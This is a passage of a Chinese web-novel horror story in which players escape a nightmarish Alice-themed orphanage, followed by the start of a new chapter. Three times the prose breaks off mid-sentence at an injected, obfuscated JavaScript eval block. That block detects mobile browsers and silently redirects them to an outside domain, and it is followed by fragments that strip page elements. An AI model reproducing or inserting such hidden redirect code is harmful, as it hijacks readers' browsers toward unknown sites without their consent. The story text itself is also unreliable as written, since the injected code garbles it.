女王皱起眉头,这话怎么听着有些奇怪? 但她没有思考出什么问题来,于是,女王也笑了起来。 她突然贴近,炙热的呼吸喷在郝荨耳畔:“其实,爱丽丝就躲在柴郡猫的身体里,而时间兔就在她手上——需要我陪你去吗?” “那倒是不必。” 郝荨没有后退,反而抬起双手就要摸上女王的脸,女王猛地后退。 “谁、谁准许冒犯女王的!” 见她拒绝,郝荨也没有强迫她,她自然地收回手:“既然大家要做好朋友了,总不能连好朋友长什么样我都不知道吧?” 短暂的沉默后,女王的声音幽幽响起:“等你拿到时间兔之后,你会知道的。” 话音落下,花园里只剩下了郝荨一人。 哦豁。 她好像知道了。 133. 疯狂爱丽丝21 夜晚,郝荨四人特意提前醒来。 白天时,他们看到院长妈妈将玩偶娃娃塞进黑色袋子中送入了锅炉房,然后,她铁青着脸找到托特先生,两人似乎说了什么,但没有结果。 夜晚降临时,院长妈妈躲进了自己的小屋,她没有电灯,看起来像是睡着了。 只是他们跟着被唤醒的孩子们路过小屋时,郝荨还清楚听见了院长妈妈拉窗帘的声响。 四人在隐蔽处静静等待着,不一会儿,那辆和幻象中如出一辙的马车驶进了孤儿院。 戴着鸟嘴面具的爵士被托特先生扶下马车。 “怀表!”余逸没忍住叫出了声。 爵士的胸口挂着一只镶嵌了红宝石的银质怀表,他似乎是注意到了这里的动静,忽然扭过头来,几人心下一惊。 好在爵士没有在意,他清点了一遍在场的孩童数量,数出了六个孩子。 “走吧。” 过了一会儿,外头重新恢复了安静。 霍格探出头去,外头已经看不见人影,马车孤零零地停留在原地。 托特先生的房门浅浅合着,屋内有几个人影晃动。 随着一声清晰的机关弹响,人影一个接一个从窗口处消失。 “有密室?”余逸睁大眼,小声问道。 霍格:“嗯。” 他看了看四周,踩着阴影来到了门口,几秒后,他朝另外三人招了招手。 余逸推开木门,屋内已经没有了托特先生和阿尔伯特爵士的身影,只留下那几个没有被选中的孩子,四仰八叉地倒在地上。 方柚柚伸手摸了摸他们的脉搏:“睡着了。” 可是其他人呢? 这座小屋的规模和院长妈妈的大差不差,只是个用来休息的地方,面积不大,几乎一眼就能望到头。 这里比她想象得要朴素多了,唯一值得注意的是托特先生床头的壁炉架,这座维多利亚式雕花壁炉架上放着一座青铜天使像。 方柚柚盯着天使左翼翅膀上的羽毛,那里有一滴没有擦干净的血迹。 郝荨想起海龟讲的故事:“看看床下。” “哦!” 余逸一下子趴在地板上,托特先生的木床下挤挤挨挨堆着好几个皮质的行李箱,他尝试了几次都没把箱子拖出。 “好重!” 他干脆钻进床下,直接打开了箱子上的卡扣:“嘶——” 一口凉气,那里面是一具没有烧干净的小孩骨架,骨架蜷缩着,但也不难看出它有两颗脑袋,其中一颗被粗暴斩断,上面还有一些他看不明白的施暴痕迹,不难想象,这个孩子一定在死前经受了非人的折磨。 “找到了。”郝荨用力踩了踩地板,那里是空的。 霍格用力掰了一下天使像的羽毛,齿轮转动的闷响从地下深处传来,伴随着铁链拖曳的哗啦声,他掀开破旧的地毯,露出了下面黑洞洞的密道入口。 暗门滑开,一股浓烈的气味扑面而来,大家不由得捂住口鼻。 方柚柚皱着眉:“福尔马林?” 这股刺鼻的气味间还夹杂着些腐肉的腥臭,令人作呕。 “小心点。”霍格提醒。 他们小心翼翼地踏入密道,两侧的油灯自动点亮,昏黄的火光摇曳着,将他们的影子投在潮湿的砖墙上。 让人意外的是,这座密道看起来很是陈旧,可圣玛利亚孤儿院接受爵士的资金援助还不到一个月! 低矮处时不时能看到些抓挠痕迹,除了属于孩子们的手印外,还有些尖利的抓痕,像是某些动物留下的。 不知道走了多远,郝荨突然抬起手:“嘘。” 众人止住脚步,前方不远处的门被猛地推开,里头出来的人也戴着个鸟嘴面具,可那身高体型与阿尔伯特·冯·霍恩海姆爵士根本对不上。 孤儿院里还有其他人存在! 那人披着白色的外套,嘴里骂着什么难听的话,快速走远。 大门似乎安装了自动关门的机关,就在它自动关上的刹那,霍格即使赶到,将门抵住。 他快速向里看了一眼:“没人——”他停顿了一瞬,然后继续说,“准确的说,没有活人。” 这是一间标本室,靠墙的架子上放置着一排排玻璃罐,里头的液体有些浑浊,泛着诡异的荧光。 “噫……”余逸搓了搓胳膊,有点想吐。 他面前的罐子里漂浮着六只人手,每根手指的关节处都被精细地剖开,柔软的白色羽毛一一插在上头,往里看去,里面游荡着银色的金属液体。 这些手的还保留着人类的指甲,但甲床里钻出了细小的银白色触须,像活物般微微蠕动。 圣洁又诡异。 罐子下贴着一张泛黄的羊皮纸,上面的墨水已经有些褪色—— 【第七次优化实验失败,需增加水银剂量。】 方柚柚蹲下身看向最下层,这些罐子更加古老,防腐的液体也更为浑浊,它们不被重视地胡乱堆在一起,她试着伸手碰了一下,那罐子里漂浮着一颗灰色的兔子头颅。 突然,这颗头颅抽搐了一下,耳朵里钻出纤长的毛发,像蜘蛛腿一样扒拉在玻璃内壁。 她猛地收回手,罐子里的液体却沸腾起来,兔子的眼睛“啪”一下睁开,瞳孔缩成针尖大小,直勾勾地盯着她。 郝荨不太明白大家为什么突然沉默下来,她正准备询问究竟看到了什么,就感觉到裙摆被谁扯了一下。 “怎么了?”她侧头询问。 下一秒,她立刻意识到了不对劲,霍格他们的呼吸声明明在她的前方,那她身后这个—— 她立刻抽出弗兰德斯之木仓,上膛声响起,迅速吸引了其他人的注意。 方柚柚回过头去,愕然地发现郝荨正与一个婴儿对峙! 不,不对,那不是婴儿。 那是一只像是渡鸦的黑色大鸟,它的脸上长着婴儿的脸! 这只鸟背关在桌子下方的鸟笼中,此刻正歪着头,好奇地看着他们。 “嘎?” 大家蹑手蹑脚地退出,这条幽深的密道里,这样的房间还有许多间,没人知道这个可怕的实验室在北地存在了多少年。 终于,他们来到了密道的尽头,房间里传来“咯吱咯吱”的距骨声,方柚柚屏住呼吸,透过锁眼向内窥视。 阿尔伯特爵士依然戴着那副鸟嘴面具,正俯身在解剖台前观察着什么。 托特先生站在一旁,举起的银托盘内盛放着一颗仍在跳动的心脏。 “孩子,你的心脏有些问题,不过没关系,我们刚好有一颗完整的。” 躺在那里胸膛大开的是汤姆的下床乔治,他有先天性的心脏病,稍一动弹就脸色发青喘不上气。 半晌,爵士离开了解剖台,再回来时,他已经把西装外套脱下。 方柚柚转动眼珠,那枚怀表正好端端地挂在外套上,有机会! 她戳了戳郝荨,然后在她手心写了个“回”字。 先退回去些,找个安全的地方商量一下怎么拿到那枚怀表。 郝荨会意点头,正要离开,阿尔伯特爵士的声音忽然响了起来: “托特,你知道吧。” “什么?主人。” “聪明的孩子总是有些……调皮,不过,我很欢迎调皮的孩子。” 话音落下,托特的皮鞋声骤然朝门口冲来,郝荨头皮一麻,他们被发现了! “快跑!” “分头跑!”方柚柚低声补充,“怀表。” 这条密道没有岔路,不过好在每隔一段距离就会有一间标本室或实验室,还有几间有些简陋的休息室,似乎是给平常待在这的人准备的。 身后的脚步声渐渐变小,郝荨没有回头。 她清楚知道,以自己目前的视力,留下来就是个拖累,倒不如顺着记忆快速回到地面上,帮其他人守门。 跑着跑着,她听到了一股不同寻常的声响。 密道的墙壁逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485476|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渗出黑色粘液,地面变得湿滑,一不小心就会摔上一跤,她跌跌撞撞往前跑着,忽然,前方传来一声破空声,郝荨下意识弯腰躲闪,堪堪躲过那柄骨锯。 她迅速转身回头,却发现托特先生不知何时已经来到了她身后。 郝荨咬牙,撞开一旁的门,却一脚踩空,直接摔在了……手术台上。 怎么回事?! 皮带像是有生命一般自动缠绕上她的四肢,阿尔伯特爵士的鸟嘴面具紧紧贴住她的脸,呼出的气体在玻璃罩上凝出猩红的雾: “你看不见吗?别怕,我这里有许多眼睛……漂亮的眼睛。” 四肢被固定,郝荨全身上下只剩下了敏锐的听力,她清晰听见爵士从箱子中取出了什么金属制品,也清晰听见了门口处多了一个压抑的呼吸声。 她心念急转,就在爵士手中的针尖离她眼球只有半寸时,郝荨忽然开口:“阿尔伯特先生,您的手艺怎么退步了?” 爵士动作猛地一滞。 郝荨嘴角弯起:“爱丽丝还让我转告您,谢谢您‘送’给她的玩偶,她很满意。” “她——”爵士的声音第一次出现波动,他攥紧水银管,几乎要捏碎,“这个该死的小偷!” 猜对了! 爵士和爱丽丝果然不是一伙的! 趁着爵士心神不定,郝荨趁机将束缚带摸了个底朝天,皮革内侧有牙印状的磨损,显然之前有人咬断过,她悄悄把束缚带拧了好几圈,面上却带上了些困惑之色: “小偷?爱丽丝偷您的东西了吗?” 爵士的呼吸变得粗重,他的面罩糊成一团。 “她是如此有天赋,我本想把她当做最完美的试验品!可她居然不领情!” 他气得团团转:“甚至还敢偷窃我的作品,把他们变成幼稚的玩具!多么无聊!” “啊?怎么会这样!” 郝荨敷衍着,用拇指用力卡住束缚带的衔接处,不断磨着。 “我想起来了!她还说您永远都做不出最完美的作品,”她刻意扬起声调,让自己听起来更像是爱丽丝那特有的轻柔尾调,“因为躲藏在黑暗中的老鼠终究只能藏在地下!” 门口又多出了两道呼吸声,郝荨心中有了底。 阿尔伯特爵士慢慢平复下心情:“无妨,无妨,只要我能再做出一个完美的试验品,就能证明她才是见不得光的老鼠。” 他转过身,郝荨立刻加大力度。 “我一定会给你挑一对最美丽的眼睛,让我想想……对了,这双!就像是天空那样湛蓝,一定很配你的黑发,然后,我会再将瓷浆灌入你的皮肤,你就会变成雪肤蓝眼的黑发洋娃娃……” 断了! 在爵士取出那双蓝眼睛的瞬间,郝荨的右手终于挣脱! 她抬手用力一掀,瓶瓶罐罐瞬间落地,砸了个粉碎,液体恰好泼在手术台边点燃的酒精灯上,火焰一窜三尺高。 “蠢货!这些标本不能见明火!” 阿尔伯特爵士慌乱扑向标本架,白袍下摆扫过郝荨的脸,她闻到了一股腐肉味。 大门被一下撞开,霍格反手一刀,将另外三处的束缚带斩断,扛起郝荨就跑,余逸顺势一脚踹翻手术床,将爵士挡在火焰后方。 “表!”郝荨大声提醒。 “在这。”方柚柚晃了晃手腕,发出一阵金属碰撞的声响。 当他们撞开地下通道的大门时,整座孤儿院瞬间扭曲起来。 鲜血不断从歪歪扭扭的墙壁上涌出,一个接一个的玻璃罐突然爆裂,溅开的福尔马林里,那些异化的标本终于重获自由。 “接着!” 方柚柚将表扔到郝荨怀中,现在,只要他们把倒放的时间拨正,茶话会就能结束! 郝荨摸索着正要转动,忽然,她动作僵住——这只怀表上的秒针根本没有在动,在转的,是它的表盘。 也就是说,这只怀表,永远停在了这个时间点! 他们找错了。 134. 疯狂爱丽丝22 郝荨的鞋跟陷进突然变软的地板中,整条走廊像食道般缓慢蠕动着。 “坏孩子……应该受到惩罚……” 院长妈妈的灵魂从走廊深处走来,教鞭抽过空气发出让人牙根发酸的破空声。 郝荨连忙急刹车,循着脑海中记住的路线图往楼梯上跑—— “砰!” 她撞上了什么?! 郝荨快速摸了一把,是木柱。 她记错了? 郝荨没有细想,顺着木柱的方向往右摸索,终于摸到了楼梯。 “啊啊啊——” 一声惨叫声从远处传来,听起来像是哪个玩家的声音。 她顾不上这些,跌跌撞撞地往二楼跑去,忽然,一股重力带着她扑倒在楼梯上。 “头顶!” 霍格眼神锐利,等看清那是什么的时候,他不着痕迹地皱了皱眉。 “我靠!蜘蛛!” 天花板上,一只人偶蜘蛛擦着他们的头顶掠过……是玩家朱姐变成的那只玩偶娃娃。 她此刻面无表情,垂落在几人面前,嘴巴缓缓张开,只听一声“刺啦”,口水滴落在地板上,硬生生融化出一个洞。 余逸浑身发麻,他最怕虫子了! “看我霹雳无敌旋风大扫把!”余逸抽出自己许久没用过的金属扫把,用力扫向她。 霍格拽着郝荨继续往二楼跑,郝荨有些担心,回头喊道:“你行吗?” 余逸头也不回:“男人怎么能说不行!” 郝荨:…… 都什么时候了还玩这种烂梗! 不过看样子对方不是莽撞行事,他们急匆匆跑到二楼。 郝荨快速说:“去爱丽丝房间,怀表错误,那就只能找茶话会的主人要个说法了!” 突然,地板碎裂,方柚柚一下踩空掉了下去。 白兔子用力跃下,在空中接连踩踏落下的木板,才将将在落地前接住她。 方柚柚惊魂未定,快速抬眼看向四周,忽然,她猛地睁大眼,她居然连掉两层,落到了地下一层的食堂。 食堂凭空出现一口大锅,蒸汽弥漫,浮肿的肉块在水中漂浮。 似乎是发现有“客人”到来,肉块慢慢接合在一起,那躯体慢慢站起,露出了一张早有预料的脸。 方柚柚:“托特先生。” 托特先生的手指抽动着,细线缝合的时候不小心把他的手指缝错了位置。 “真是调皮,竟然对托特先生进行这么恶劣的恶作剧……” 他撑着锅沿落地,滚烫的肉汤滴落下来,发出令人不适的气味。 “托特先生是为了你们好……你们这群生下来就该死亡的臭虫……不知感恩,托特先生好心给你们讲故事,你们居然趁着托特先生熟睡杀死了托特先生……” “是谁杀死了托特先生?” 他一步步往前走着,头越来越大、越来越圆,最终,变成了一颗似龟非龟的头颅。 “是你吗?” 他弯下腰,冷冷地盯着方柚柚。 方柚柚没有回答。 过了一会儿,托特先生的嘴角僵硬的弯起一个弧度。 “没有关系,没有关系……只要你们都留在这里,托特先生总有办法将你们留在这里……” 方柚柚重重叹了口气,又是她不喜欢的战斗环节。 就不能坐下来大家比一比谁的卷子做得又快又好吗? 对于方柚柚,郝荨可不像担心学弟那样担心她,她数着步子快速撞向爱丽丝的房间,却被霍格一把拉住。 “你——”霍格有些迟疑,“她房间在这。” 他带着郝荨原地旋转了三十度角,轻轻敲了敲木门示意。 郝荨先是一愣,一个想法从她脑海中一闪而过。 “开了。” 霍格撞开门,取出爱丽丝那只裹满布条的娃娃:“给。” 他们正要出门,门外却出现了爵士那扭曲的身影,他的身体似乎被烧焦了,拖沓着半个躯体慢慢走了过来。 在他的身后,跟着许多奇形怪状的“人”和“动物”,有些是在地下通道里见过的,有些则更为古老,像是刚从土里挖出来似的。 见到二人,爵士的鸟嘴面具动了动:“找到你了……我的…作品……” 郝荨攥紧爱丽丝的娃娃,手心冒汗。 他们被堵在了爱丽丝的房间,可是,在BOSS的老巢里威胁她,未免有点找死了。 她头脑快速转动,就在这时,她的腰上忽然一紧。 “抓紧。” 霍格单手揽住她,另一只手虚虚环绕在她的头侧,然后,猛地跃起—— 玻璃破碎的声音响起,郝荨甚至还来不及反应,双腿已经落在了草地上。 她稳住心神:“走,锅炉房!” 锅炉房里没有人,非常安静,看起来一切正常,只是,在所有东西都变得不正常时,这种正常反而显得格外不正常。 郝荨打开锅炉,蒸腾的热气烘在她的脸上,她摸了摸那只写着【致爱丽丝:我们永远是最好的朋友】的玩偶,然后,伸出手去将玩偶吊在了锅炉上。 口袋里的梅花Q一下变得滚烫,汤姆被烫醒,它看着这张扑克牌愣了几秒,然后手脚并用爬上她的肩头,小声开口:“我想起来了,爱丽丝的好朋友……” 它说得很困难,每说一个字身上就会传出一道开裂声。 郝荨皱眉:“别说了。” 汤姆摇摇头,他抓紧自己的那颗“心脏”,一字一句道:“就是…就是……女…王……” 话音落下,他便从肩头翻下,霍格眼疾手快接住,汤姆已经变成了一个彻头彻尾的玩偶,那颗心脏也随之停止跳动。 “汤姆?汤姆?” 霍格沉默,不知该如何回答,郝荨明白了什么,她微微垂下眼告诫自己,现在可不是分心的时候。 红心女王是爱丽丝最好的朋友……可她记得,爱丽丝没有朋友。 除非,这个朋友所有人都看不见。 她忽然睁开眼,明白了什么:“手。” 霍格不明所以将手伸出,郝荨快速在他手心写了一句话,霍格眼睛微微睁大,轻轻“嗯”了一声。 口袋里的梅花Q愈发滚烫,郝荨强忍烫意,开口道:“这可是你们友谊的象征哦,就这么烧掉,真的好吗?” 她感觉到有什么湿漉漉的东西到来了,空气中蔓延出一股水汽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498148|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但对方依旧没有现身。 郝荨将玩偶又往下放了放,火舌一下吞噬了玩偶垂下的布条,爱丽丝终于沉不住气,她的声音回荡在空旷的锅炉房内: “不准烧!” 郝荨:“茶话会上的主人翁一直躲藏,这可不是什么礼貌的行为。” 她仔细听着爱丽丝的声音,试图辨别出她究竟在哪,可无论怎么听,对方的声音似乎都遍布在这个空间的每个角落。 啧,立体环绕音箱啊。 她没忍住,暗自吐槽了一句。 几秒后,锅炉房气温骤降,窒息感浮上心头,她像是坠入冰冷的湖水般难以呼吸。 这都是幻觉,她告诉自己。 小小的锅炉房里只剩下了她一个人的呼吸,又过了一会儿,一个轻柔的声音在她耳边响起:“还给我。” 郝荨瞬间恍惚了一瞬,爱丽丝的声音轻飘飘的,但很快她就反应过来,手微微松开,任由玩偶滑落—— “不要!” 郝荨手指收紧,没有让娃娃继续掉落。 她虽然看不见,但空气中的焦糊味让她清楚知道,这娃娃正在燃烧。 “我一直在想,孤儿院就这么大,你能藏到哪里呢?” 她慢慢开口:“不在房间,不在暗道,也不在湖里……那么,只有一个可能。” “你一直在我们身边。” 她晃了晃手中的玩偶娃娃:“你发现了阿尔伯特爵士对孤儿院孩子们做的事,或许是出自想要救下他们,也或许,你只是不满意自己的玩具被抢,总之,你从他的手中夺走了孩子们,把他们变成了玩偶,我说的对吗?” 爱丽丝的呼吸声微微急促:“你先把它还给我!” “既然你能把他们变成娃娃,当然也可以把自己变成娃娃,”她晃了晃手中的玩偶,成功引起爱丽丝的惊呼,“我可以把它还给你,但你要告诉我,我们该如何安全逃离你的茶话会。” 她着重强调了“安全”二字。 爱丽丝望着这个眼睛无神的女孩,她眼神闪烁了几下,嘴角弯起,似乎胜券在握,很快,她便换了一副表情,气急败坏道:“你敢威胁我?!” 见对方不为所动,她只好心不甘情不愿地说:“……明天早晨,落日时分便会到来,只要活到那个时候,你们就能离开。” 郝荨:“你说的是真的?” 耳边从未停过的“哒哒”声微不可察地顿了顿。 “当然!可以还给我了吧!” 爱丽丝撩开自己的金色长发,嘴巴里骂着,手却无聊地绕起头发。 郝荨沉默两秒,忽然松开手:“说谎。” 玩偶娃娃猝不及防掉入锅炉,火舌一下窜高。 “你敢!”爱丽丝一惊,“你想找死?” 她遇到过那么多玩家,还是头一次敢烧她的娃娃的! 郝荨伸进口袋,掏出了那张梅花Q:“好了,剧目转场,现在我们可以聊聊了。” 爱丽丝皱眉:“什么意思?” 郝荨把玩着这张扑克牌,然后,将牌伸到了火焰上方,爱丽丝下意识要去抢,被对方躲过。 郝荨弯起嘴角:“我是该叫你爱丽丝——还是红心女王?” 135. 疯狂爱丽丝23(完) “我是该叫你爱丽丝——还是红心女王?” 话音落下,锅炉房的温度一下拔高,火光冲天。 爱丽丝眼神复杂地望着眼前的女孩:“你是什么时候知道的?” 郝荨强忍住没有收回手,耸了耸肩:“刚才就说了,我们没有在孤儿院找到你,那么一定是灯下黑,你就藏在我们身边。” “可总是在我身边神出鬼没的只有一个人——红心女王。” 郝荨眨了眨被熏的干涩的双眼,生理性的泪水止不住流下。 “你没有朋友,这是孤儿院里所有人都知道的事——” 爱丽丝眯起眼,手指如钩一下握住对方纤细的脖颈。 “可同样的,你也没有敌人,因为没有人愿意与你为敌,”郝荨有些艰难地继续道,“这么说来,红心女王的身份就有待商榷了,再结合没‘人’听说过女王这个名字看来,我产生了一个大胆的想法……爱丽丝和红心女王有没有可能是一个人呢?” “咳咳……首先,爱丽丝和红心女王没有同时出现过,其次,也是最关键的一点,她选择了我……也就是孤儿院唯一看不见她长相的人做朋友……” “答案显而易见,只有自己才能又是自己唯一的朋友…又恨自己,不是吗?” 爱丽丝的身上泛出血色,染红了她的麻布裙子,潮湿的水汽涌上,又很快被高温蒸腾挥发。 她的声音慢慢变得尖细,红心女王的声音从她口中传出:“聪明的女孩。” 郝荨的脖子被一下收紧,她双脚逐渐离地,空气被狠狠挤压,脸上不由地泛起缺氧的红色。 “但你忘了一件事,兰开斯特王族和约克王族在玫瑰战争后达成和解,红白玫瑰结合,创造了伟大的都铎王朝,所以,当爱丽丝和红心女王融为一体,我们也会掌握…最强大的力量。” 爱丽丝弯起那只独眼,语气兴奋:“我已经迫不及待要把你做成我的玩偶了!” “这可…不…行……” 出乎意料的是,郝荨没有像她想象的那样害怕,这个孱弱的盲女竟然也笑了起来。 “我…的朋友们…还在…等我……” 爱丽丝嗤笑:“朋友?你陷入危险的时候他们怎么不来救你?” 她满眼嘲弄,世界上根本就不可能有真正的朋友!却不想,对方大声咳嗽了两下,点了点头。 “是啊!他们…为什么…不来呢?” 爱丽丝一愣,她手中动作微松:“你是什么意思?” 郝荨抓住机会猛地吸了口气:“咳咳咳!不如你来猜猜看,为什么我明明知道你和女王是一个人,却还要拿玩偶骗你现身?” 一股不妙的预感袭上爱丽丝胸口,她心脏重重一跳。 下一秒,随着一声巨大的“轰隆”声响起,整座孤儿院猛地晃动了一下。 “咔哒哒哒……” 机械齿轮声中,孤儿院竟然慢慢地逆时针转动起来! 爱丽丝目眦欲裂:“不准!动我的!时间!!!” 尖啸声几乎要刺破郝荨的耳膜,她一下摔下郝荨,就要出门。 郝荨立刻松开已经被烧伤的手,梅花Q飘飘荡荡落入了锅炉中,火焰燎起! “我的——!” 爱丽丝猛地撞过来,就要伸手去拿,趁此机会,郝荨连滚带爬跑出了锅炉房。 空气中的血腥味越来越浓,她时不时踩到黏滑的液体,触感像是鲜血。 “给我砍下他们的头!!!” 爱丽丝的尖叫声响彻整座孤儿院,所有还“活着”的人都齐齐向这里涌来。 孤儿院越转越快,方柚柚松开推向食堂大门的手,冲到郝荨身边:“快走!” 说着,她闪身躲过托特先生的碎片,一把拽住郝荨就楼上跑。 两人来到一楼时,正好遇到余逸鬼哭狼嚎地从楼梯上跃下,差点崴到脚。 “呜呜…吓死我了!荨姐!你没事!” “晚点再哭,快来!”霍格的声音在花园响起。 那片浮满红色线虫的池塘此刻泛着阵阵白光,一扇时空门在池水中出现。 “低头!”霍格大喊。 郝荨下意识向前打了个滚,只听一声破空声—— “锵!” 有什么利器一前一后从她头顶擦过,白兔子倏地变大,一手方柚柚一手郝荨便冲刺到了池塘跟前。 白色的骨刀在空中划了一圈后重新回到霍格手中,孤儿院的所有孩子和玩偶,以及托特先生和爵士都来到了他们跟前。 这画面似曾相识,他立刻回忆起了报纸上的那张“全家福”。 他微微抬眼,果然,二楼最里面的窗口处冒出了一颗金色脑袋,爱丽丝正面无表情地看着他们。 眼见着其他人已经跳入了池水,霍格最后甩出刀,便径直后仰也坠入了池水中…… 冰凉的池水一下没过了几人,恍惚中,他们仿佛听到了一声急促的闹铃声响了起来。 然后,有谁拉开了帘子。 “爱丽丝?该起床吃药了……” * 郝荨揉了揉眼,许久不见阳光的她双目有些刺痛,重获光明的感觉真好。 她有些舍不得的又看了眼窗外,然后起身敲响了其他人的房门,见到大家都安全回来才松了口气。 “荨姐!咱们到底是怎么过的本啊?” 余逸挠了挠头,只感觉自己糊里糊涂就这么通了关:“霍哥一开始叫我去找能推动的地方我还觉得奇怪,这么大个房子咋推啊!结果没想到,爱丽丝那个房间里真的有面墙能推!” 刚一坐下,余逸就叽里咕噜地跟十万个为什么似的问了一堆问题。 郝荨抬手:“等下,等下!先吃饭!” 她在这孤儿院里可是饿惨了! 自从游乐园开始赚钱,她已经很久没有过上这种饥一顿又饥一顿的日子了! “得嘞!” 余逸兴冲冲地把烧烤打开,牛肉羊肉大虾郡肝锡纸花甲……铺了满桌,香!太香了! 几人闷头怒吃了半小时才缓过气来,郝荨擦了擦油汪汪的嘴,开始给余逸补课。 “嗯,简而言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514618|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之,【疯狂爱丽丝】的关键之处就是‘时间’,无论是前面的棋盘游戏茶话会,还是后头的孤儿院,爱丽丝的目的都是尽可能拖延我们的时间,你记不记得在棋盘上的时候,大家身上的异化程度是随着时间变化而加深的?” 余逸点头:“我整条手臂都变成姜饼,贼香!” 郝荨:“……不过最关键的还是大家从地道逃跑后,我发现孤儿院的方位和我记忆里的产生了微妙的不同,用肉眼看去可能看不太出来,但是对于一个人盲人来说,稍有变化,就可能导致本应畅通无阻的道路变得处处碰壁。再加上那无处不在的‘哒哒’声,像什么?” “表盘?” “对,所以,阿尔伯特爵士的怀表只是迷惑项,而孤儿院,才是真正的‘钟表兔’,它在以一个极其缓慢的速度逆时针旋转着,所以,如果按照爱丽丝所说的,在茶话会里一直等待‘日落’,最终的结果只会是不断被副本同化,变成她的玩偶娃娃。” “哦!”余逸恍然,“大师,我悟了!” 郝荨想起什么,她看向方柚柚:“对了,后天我和霍格会单独进入下一个副本,不出意外的话,这场游戏既是特殊副本,也是我的升阶副本,难度一定很高。” 方柚柚明白了,余逸本来比园长还要早进入【迷雾游戏】,但园长的通关速度太快,如此高强度的进出副本虽然能让人快速成长,但有一些人也会因此分不清虚假与现实,从此迷失在游戏中。 好在园长目前看起来很清楚自己在做什么,可这也导致了一个问题,她成长太快了,有时候她都分不清究竟自己是老手还是对方才是老手,这就显得余逸有些跟不上进度。 按照常理来说,一般人进入【迷雾游戏】头三个月都会在初阶游戏场里打转,直到自己的心理承受能力和经验都足够了才会进行升阶考核,至于中阶则要等更久,运气好的话一年,运气差的话可能过个三四年照样摸不着高阶的边,只能一直徘徊在中阶游戏场中祈祷,直到某次运气不好,倒在游戏中。 她看向还在哐哐炫饭的余逸,忍不住感叹对方真是心大。 一般人遇到这种强度的游戏早就崩溃了,何况还有永远也追不上的队友,偏偏他真的不在意,聪明的队友好找,心态好的却极少,在【迷雾游戏】里,越是高阶的游戏,心态越重要。 “好,这几天我每天都会带他魔鬼训练,直到成功升阶。” 余逸一脸盲人:“啊?带谁啊?” 直到三人的眼神齐齐看向自己,他才一副不可置信模样地指了指自己:“……我?” 三人点头。 郝荨:“下一场游戏难度太大了,我自己可能都没办法保证能活着通关,没办法带你,所以这段时间,柚柚会带你下普通本,如果顺利的话,大家可以一起升阶,之后就都是高阶玩家啦!” 余逸艰难地咽了口口水:“我、我努力!” 他还想再说些什么,窗外突然传来一阵兵荒马乱声,众人抬眼望去,无数玩家鬼哭狼嚎着朝这边跑了过来。 “我靠!野猪下山啦!!!” 136. 雨夜公交 山脚下。 郝荨抖着腿,鞋尖在泥地上敲出不耐烦的节奏。 她前方两米处,一头还在幼年体的黑色野猪被霍格牢牢按住,她抹了把汗,这猪还挺能跑! 郝荨堆着笑,好不容易把游客们都劝走,转过身,脸色瞬间阴了下来。 她看着眼前这只格外眼熟的乌金,重重吸了口气:“什么时候来的?” 乌金目光游移,它扑腾着撇过头,一副“我听不懂我只是只可怜的小猪”模样。 “回头!我知道你听得懂!你不是神吗?怎么会来到现实世界啊!” 看着乌金还在装死,郝荨头痛欲裂。 她气不打一处来,一脚踹在旁边的树上,震得树叶簌簌落下。 “你怎么说好歹也是个神,怎么耍无赖呢?!”郝荨被气笑,“非要装普通野猪是吧?行,那我让八爪炖了你!你肉这么嫩,糖醋肋排应该味道不错——” 灌木丛突然沙沙作响,一个小女孩炮弹般冲出,张开双臂挡在野猪跟前:“不许伤害乌金大人!” 她头顶还沾着几片树叶,显然已经在树林中躲了很久。 郝荨:…… 她记得这个女孩,是【乌鬼村】副本中前任村长的小孙女,虽然好心办了坏事,但是个善良的女孩。 女孩有些害怕,一声长叹在几人身后响起。 郝荨回过头,穿着蓝色短褂的阿婆拄着拐杖从同一处灌木丛后转出,她的袖口还沾着可疑的汤汁。 ……怎么看起来那么像她新买的泡面。 “小九别闹,这位……园长大人,老身有礼了。” 她有些困难地俯下身,或许是因为生活艰苦,这位阿婆看起来起码有八十岁了,郝荨可不敢受这礼,她皱着眉,将她扶起。 “这到底是怎么一回事?不要说谎,我分辨得出。” “其实,我们也不清楚具体是怎么回事,那日你们离开后,乌神大人便将我们一一唤醒,问我们是否愿意离开,乌鬼村的族人们被困在山上太久,大家都对外面很好奇,乌神大人便让他们各自离开,只有我和小九留下来继续侍奉乌神。再然后……我们就到了这里。” 郝荨抬眼望去,山脚处已经用树枝搭了个简易帐篷,条件很简陋,让人看了只想报警,可她们却看起来很满足。 郝荨:…… 她这该死的善心! “算了!”她自暴自弃道,“你们这里怎么能住人,跟我一起去员工宿舍吧!” 只是她没想到的是,阿婆竟然拒绝了她。 